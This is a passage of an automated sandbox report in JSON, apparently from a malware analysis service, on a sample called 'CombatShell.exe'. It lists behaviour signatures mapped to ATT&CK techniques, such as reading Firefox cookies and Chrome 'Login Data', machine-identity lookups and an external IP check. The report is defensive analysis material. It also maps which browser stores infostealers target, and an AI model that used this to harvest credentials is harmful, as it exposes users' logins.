00000000-00005644-00000C17-3481757732"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" queries volume information of \"C:\\Users\\%USERNAME%\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\5xz6ua91.default-release\" at 00000000-00005644-00000C17-3481759007"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" queries volume information of \"C:\\Users\\%USERNAME%\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\5xz6ua91.default-release\\cookies.sqlite\" at 00000000-00005644-00000C17-3481762020"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" queries volume information of \"C:\\Users\\%USERNAME%\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\lfdjd4n4.default\" at 00000000-00005644-00000C17-3481763080"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" queries volume information of \"C:\\Users\\%USERNAME%\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\5xz6ua91.default-release\\cookies.sqlite\" at 00000000-00005644-00000C17-3481764757"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" queries volume information of \"%LOCALAPPDATA%\\Google\\Chrome\\User Data\" at 00000000-00005644-00000C17-3481795164"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" queries volume information of \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\AutofillStates\" at 00000000-00005644-00000C17-3481799952"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" queries volume information of \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateRevocation\" at 00000000-00005644-00000C17-3481801165"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" queries volume information of \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\chrome_shutdown_ms.txt\" at 00000000-00005644-00000C17-3481802462"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" queries volume information of \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\ClientSidePhishing\" at 00000000-00005644-00000C17-3481803269"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" queries volume information of \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\" at 00000000-00005644-00000C17-3481804594"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" queries volume information of \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\Crowd Deny\" at 00000000-00005644-00000C17-3481805692"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" queries volume information of \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\" at 00000000-00005644-00000C17-3481806769"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" queries volume information of \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data\" at 00000000-00005644-00000C17-3481826048"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" queries volume information of \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\" at 00000000-00005644-00000C17-3481827171"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" queries volume information of \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\First Run\" at 00000000-00005644-00000C17-3481828603"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" queries volume information of \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\FirstPartySetsPreloaded\" at 00000000-00005644-00000C17-3481830234"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" queries volume information of \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\first_party_sets.db\" at 00000000-00005644-00000C17-3481831626"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" queries volume information of \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\first_party_sets.db-journal\" at 00000000-00005644-00000C17-3481832556"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" queries volume information of \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\GraphiteDawnCache\" at 00000000-00005644-00000C17-3481833403"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" queries volume information of \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\GrShaderCache\" at 00000000-00005644-00000C17-3481834555"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" queries volume information of \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\hyphen-data\" at 00000000-00005644-00000C17-3481835690"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" queries volume information of \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\Last Browser\" at 00000000-00005644-00000C17-3481836891"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" queries volume information of \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\Last Version\" at 00000000-00005644-00000C17-3481837719"}],"origin":"API Call","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"registry-35","type":3,"relevance":5,"name":"Reads the active computer name","description":"\"CombatShell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","description_v2":["\"CombatShell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")"}],"origin":"Registry Access","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"registry-1","type":3,"relevance":5,"name":"Reads the cryptographic machine GUID","description":"\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","description_v2":["\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")"}],"origin":"Registry Access","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"External Systems","identifier":"suricata-0","type":18,"relevance":10,"name":"Detected Suricata Alert","description":"Detected alert \"SURICATA IPv4 invalid checksum\" (SID: 2200073, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"\n Detected alert \"ET INFO External IP Address Lookup Domain (ipify .org) in TLS SNI\" (SID: 2047703, Rev: 1, Severity: 3) categorized as \"Misc activity\"","description_v2":["Detected alert \"SURICATA IPv4 invalid checksum\" (SID: 2200073, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"","Detected alert \"ET INFO External IP Address Lookup Domain (ipify .org) in TLS SNI\" (SID: 2047703, Rev: 1, Severity: 3) categorized as \"Misc activity\""],"description_v3":[{"type":"text","value":"Detected alert \"SURICATA IPv4 invalid checksum\" (SID: 2200073, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\""},{"type":"linebreak"},{"type":"text","value":"Detected alert \"ET INFO External IP Address Lookup Domain (ipify .org) in TLS SNI\" (SID: 2047703, Rev: 1, Severity: 3) categorized as \"Misc activity\""}],"origin":"Suricata Alerts","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"External Systems","identifier":"suricata-4","type":18,"relevance":3,"name":"Detected Suricata Alert - External IP Lookup","description":"Detected alert \"ET INFO External IP Address Lookup Domain (ipify .org) in TLS SNI\" (SID: 2047703, Rev: 1, Severity: 3) categorized as \"Misc activity\"","description_v2":["Detected alert \"ET INFO External IP Address Lookup Domain (ipify .org) in TLS SNI\" (SID: 2047703, Rev: 1, Severity: 3) categorized as \"Misc activity\""],"description_v3":[{"type":"text","value":"Detected alert \"ET INFO External IP Address Lookup Domain (ipify .org) in TLS SNI\" (SID: 2047703, Rev: 1, Severity: 3) categorized as \"Misc activity\""}],"origin":"Suricata Alerts","attck_id":"T1016","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1016","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"static-187","type":0,"relevance":1,"name":".rdata section contains high entropy","description":"\"CombatShell.exe\" has section name .rdata with entropy \"7.963639977060777\"","description_v2":["\"CombatShell.exe\" has section name .rdata with entropy \"7.963639977060777\""],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" has section name .rdata with entropy \"7.963639977060777\""}],"origin":"Static Parser","attck_id":"T1027.009","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1027/009","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"registry-18","type":3,"relevance":10,"name":"Accesses Software Policy Settings","description":"$32","description_v2":["\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CERTIFICATES\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CRLS\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CTLS\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUSTEDPEOPLE\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUSTEDPEOPLE\\CERTIFICATES\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUSTEDPEOPLE\\CRLS\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUSTEDPEOPLE\\CTLS\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUSTEDPEOPLE\"; Key: \"\")"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CERTIFICATES\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CRLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CTLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUSTEDPEOPLE\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUSTEDPEOPLE\\CERTIFICATES\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUSTEDPEOPLE\\CRLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUSTEDPEOPLE\\CTLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUSTEDPEOPLE\"; Key: \"\")"}],"origin":"Registry Access","attck_id":"T1012","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1012","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"registry-17","type":3,"relevance":10,"name":"Accesses System Certificates Settings","description":"$33","description_v2":["\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\AUTHROOT\\AUTOUPDATE\"; Key: \"DISALLOWEDCERTSYNCDELTATIME\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\109F1CAED645BB78B3EA2B94C0697C740733031C\"; Key: \"BLOB\")","\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\D559A586669B08F46A30A133F8A9ED3D038E2EA8\"; Key: \"BLOB\")","\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\FEE449EE0E3965A5246F000E87FDE2A065FD89D4\"; Key: \"BLOB\")","\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\A377D1B1C0538833035211F4083D00FECC414DAB\"; Key: \"BLOB\")","\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\"; Key: \"\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\AUTHROOT\\AUTOUPDATE\"; Key: \"DISALLOWEDCERTSYNCDELTATIME\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\109F1CAED645BB78B3EA2B94C0697C740733031C\"; Key: \"BLOB\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\D559A586669B08F46A30A133F8A9ED3D038E2EA8\"; Key: \"BLOB\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\FEE449EE0E3965A5246F000E87FDE2A065FD89D4\"; Key: \"BLOB\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\A377D1B1C0538833035211F4083D00FECC414DAB\"; Key: \"BLOB\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")"}],"origin":"Registry Access","attck_id":"T1112","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1112","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"target-2","type":9,"relevance":0,"name":"An application crash occurred","description":"Report process \"WerFault.exe\" was created by \"svchost.exe\"\n Report process \"WerFault.exe\" was created by \"winlnk.exe\"","description_v2":["Report process \"WerFault.exe\" was created by \"svchost.exe\"","Report process \"WerFault.exe\" was created by \"winlnk.exe\""],"description_v3":[{"type":"text","value":"Report process \"WerFault.exe\" was created by \"svchost.exe\""},{"type":"linebreak"},{"type":"text","value":"Report process \"WerFault.exe\" was created by \"winlnk.exe\""}],"origin":"Monitored Target","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"api-175","type":6,"relevance":1,"name":"Calls an API typically used to load libraries","description":"$34","description_v2":["\"CombatShell.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005644)","\"CombatShell.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005644)","\"CombatShell.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005644)","\"CombatShell.exe\" called \"LoadLibrary\" with a parameter kernel32 (UID: 00000000-00005644)","\"CombatShell.exe\" called \"LoadLibrary\" with a parameter user32.dll (UID: 00000000-00005644)","\"CombatShell.exe\" called \"LoadLibrary\" with a parameter shcore.dll (UID: 00000000-00005644)","\"CombatShell.exe\" called \"LoadLibrary\" with a parameter ntdll.dll (UID: 00000000-00005644)","\"CombatShell.exe\" called \"LoadLibrary\" with a parameter uxtheme.dll (UID: 00000000-00005644)","\"CombatShell.exe\" called \"LoadLibrary\" with a parameter opengl32.dll (UID: 00000000-00005644)","\"CombatShell.exe\" called \"LoadLibrary\" with a parameter vm3dgl64.dll (UID: 00000000-00005644)","\"CombatShell.exe\" called \"LoadLibrary\" with a parameter vm3dglhelper64.dll (UID: 00000000-00005644)","\"CombatShell.exe\" called \"LoadLibrary\" with a parameter kernel32.dll (UID: 00000000-00005644)","\"CombatShell.exe\" called \"LoadLibrary\" with a parameter gdi32.dll (UID: 00000000-00005644)","\"CombatShell.exe\" called \"LoadLibrary\" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00005644)","\"CombatShell.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-winrt-error-l1-1-0.dll (UID: 00000000-00005644)","\"CombatShell.exe\" called \"LoadLibrary\" with a parameter oleaut32.dll (UID: 00000000-00005644)","\"CombatShell.exe\" called \"LoadLibrary\" with a parameter advapi32.dll (UID: 00000000-00005644)","\"CombatShell.exe\" called \"LoadLibrary\" with a parameter crypt32.dll (UID: 00000000-00005644)","\"CombatShell.exe\" called \"LoadLibrary\" with a parameter ncrypt.dll (UID: 00000000-00005644)","\"CombatShell.exe\" called \"LoadLibrary\" with a parameter ole32.dll (UID: 00000000-00005644)","\"CombatShell.exe\" called \"LoadLibrary\" with a parameter secur32.dll (UID: 00000000-00005644)","\"CombatShell.exe\" called \"LoadLibrary\" with a parameter shell32.dll (UID: 00000000-00005644)","\"CombatShell.exe\" called \"LoadLibrary\" with a parameter userenv.dll (UID: 00000000-00005644)","\"CombatShell.exe\" called \"LoadLibrary\" with a parameter ws2_32.dll (UID: 00000000-00005644)","\"CombatShell.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-synch-l1-2-0.dll (UID: 00000000-00005644)","\"CombatShell.exe\" called \"LoadLibrary\" with a parameter bcryptprimitives.dll (UID: 00000000-00005644)","\"CombatShell.exe\" called \"LoadLibrary\" with a parameter KERNEL32.dll (UID: 00000000-00005644)","\"CombatShell.exe\" called \"LoadLibrary\" with a parameter msvcrt.dll (UID: 00000000-00005644)"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"LoadLibrary\" with a parameter kernel32 (UID: 